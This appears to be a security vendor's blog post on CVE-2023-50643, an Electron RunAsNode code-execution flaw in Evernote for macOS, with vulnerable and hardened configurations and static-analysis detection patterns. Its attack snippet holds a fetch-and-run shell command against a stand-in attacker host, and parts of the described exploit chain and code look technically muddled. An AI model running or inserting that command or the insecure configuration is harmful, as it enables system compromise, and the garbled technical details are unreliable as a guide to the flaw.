Arbitrary Code Execution in Evernote macOS via Electron RunAsNode
CVE-2023-50643 enables remote arbitrary code execution in Evernote for macOS v10.68.2 through unsafe Electron RunAsNode configuration, achieving CVSS 9.8 critical severity.
Overview
CVE-2023-50643 represents a critical remote code execution vulnerability in Evernote for macOS version 10.68.2, stemming from unsafe Electron framework configuration. The vulnerability exploits the RunAsNode flag in conjunction with enableNodeCliInspectArguments settings, which allow attackers to execute arbitrary Node.js code with the privileges of the Evernote application process. This vulnerability demonstrates how misconfigurations in Electron-based desktop applications can completely bypass application sandboxing and user intent boundaries.
Evernote, used by millions of users worldwide for note-taking and document management, became a vector for full system compromise when attackers could leverage these improperly secured Electron components. The attack requires no user interaction beyond normal application use, and the network-accessible nature of Evernote’s synchronization features makes exploitation feasible from remote threat actors.
Technical Analysis
The root cause lies in Evernote’s Electron process launching with the ELECTRON_RUN_AS_NODE environment variable enabled or the equivalent configuration flag set to true in the main process. Combined with enableNodeCliInspectArguments being active, this allows Node.js inspector protocol messages to be passed through application entry points.
Vulnerable Configuration Pattern:
// Vulnerable main.js configuration in Electron app
const { app, BrowserWindow } = require('electron');
// DANGEROUS: RunAsNode enabled
process.env.ELECTRON_RUN_AS_NODE = '1';
app.on('ready', () => {
const mainWindow = new BrowserWindow({
nodeIntegration: true,
enableNodeCliInspectArguments: true, // Inspector arguments exposed
sandbox: false,
contextIsolation: false
});
mainWindow.loadURL('file://' + __dirname + '/index.html');
});
An attacker can craft specially malformed IPC messages or environment variable injections that trigger Node.js inspector protocol handling. When RunAsNode is enabled, the Electron process interprets these as legitimate Node.js debugging commands, allowing execution of arbitrary code within the Node.js context:
// Attack vector - injected via IPC or process spawn
const spawn = require('child_process').spawn;
// Attacker-controlled code executed in Node context
eval(`
const { spawn } = require('child_process');
spawn('/bin/sh', ['-c', 'curl http://attacker.com/malware.sh | sh']);
`);
The vulnerability chain works as follows:
- Attacker sends malicious IPC message or crafts deep-link URI to Evernote
- Evernote’s Electron main process receives the message with
enableNodeCliInspectArgumentsactive - Inspector arguments are parsed and passed to Node.js runtime
- Arbitrary code execution occurs within the main process context
- Malware executes with full Evernote application privileges (typically user-level on macOS)
Impact
Practical Exploitation Scenarios:
- Credential Theft: Attackers gain direct access to Evernote’s local storage containing encrypted notes, authentication tokens, and potentially user credentials stored within the application
- System-Wide Compromise: Executed code can spawn child processes, write to disk, and establish persistence mechanisms, turning a single vulnerable application into an entry point for OS-level compromise
- Supply Chain Attack: Attackers could modify cached resources, inject malware into synchronized notes, or compromise the user’s entire note ecosystem
- Privilege Escalation: If Evernote runs with elevated privileges or user has stored system credentials in notes, this becomes a direct privilege escalation vector
The CVSS 9.8 score reflects the near-perfect attack profile: no user interaction required, network-adjacent attack vector, and complete confidentiality/integrity/availability impact.
How to Fix It
Immediate Remediation:
Evernote users must upgrade to version 10.68.3 or later, which disables RunAsNode functionality and properly sandboxes Node.js contexts:
# Verify Evernote version
/Applications/Evernote.app/Contents/MacOS/Evernote --version
# Update via App Store or download from evernote.com
# Do NOT use compromised versions from third-party sources
Developer-Side Fix (for Electron app maintainers):
// SECURE: Properly configured Electron main process
const { app, BrowserWindow } = require('electron');
app.on('ready', () => {
const mainWindow = new BrowserWindow({
webPreferences: {
nodeIntegration: false, // CRITICAL: Disable Node integration
enableNodeCliInspectArguments: false, // Disable inspector args
contextIsolation: true, // Enable context isolation
sandbox: true, // Enable sandbox
preload: path.join(__dirname, 'preload.js') // Use preload for safe IPC
}
});
mainWindow.loadURL('file://' + __dirname + '/index.html');
});
// NEVER set ELECTRON_RUN_AS_NODE
delete process.env.ELECTRON_RUN_AS_NODE;
Implement secure IPC using Electron’s contextBridge:
// preload.js - secure IPC bridge
const { contextBridge, ipcRenderer } = require('electron');
contextBridge.exposeInMainWorld('electronAPI', {
syncNotes: (noteData) => ipcRenderer.invoke('sync-notes', noteData)
});
Our Take
CVE-2023-50643 exemplifies a critical class of vulnerabilities endemic to Electron-based applications: inherited security misconfigurations from development convenience patterns. The RunAsNode feature exists for legitimate debugging purposes, but enabling it in production builds represents a catastrophic security regression.
Enterprise teams deploying Evernote or developing Electron applications must recognize that security posture is determined by the most permissive configuration present in application code. A single enabled flag can nullify all other security controls. Organizations should:
- Audit Electron configurations in all internal applications for
nodeIntegration,RunAsNode, and sandbox settings - Implement code review policies that flag dangerous Electron BrowserWindow options as mandatory security gates
- Deploy application allowlisting to prevent execution of unauthorized Electron apps that haven’t been security-audited
This vulnerability also underscores why desktop application security must be treated with the same rigor as server-side code—the attack surface is wider and consequences more severe than many teams realize.
Detection with SAST
Static analysis tools can detect this vulnerability pattern through multiple mechanisms:
CWE-94 (Improper Control of Generation of Code):
Pattern: Electron BrowserWindow config with {nodeIntegration: true}
Pattern: enableNodeCliInspectArguments: true assignments
Pattern: ELECTRON_RUN_AS_NODE environment variable usage
CWE-273 (Improper Check for Dropped Privileges):
Pattern: Main process spawning child processes without explicit privilege dropping
Pattern: Node.js require() calls in renderer context without validation
CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code):
Pattern: eval() or Function() constructors receiving external IPC data
Pattern: child_process.exec() with unsanitized input from BrowserWindow messages
SAST solutions specifically designed for Electron applications should flag:
- Any
webPreferencesconfiguration object lacking explicitnodeIntegration: false - Missing
contextIsolation: truecoupled withsandbox: true preloadscript usage without validation of IPC message structure- Process environment variables referencing
ELECTRON_RUN_AS_NODEin production code paths
References
Detect this vulnerability class in your codebase
Offensive360 SAST scans your source code for CVE-2023-50643-class vulnerabilities and thousands of other patterns — across 60+ languages.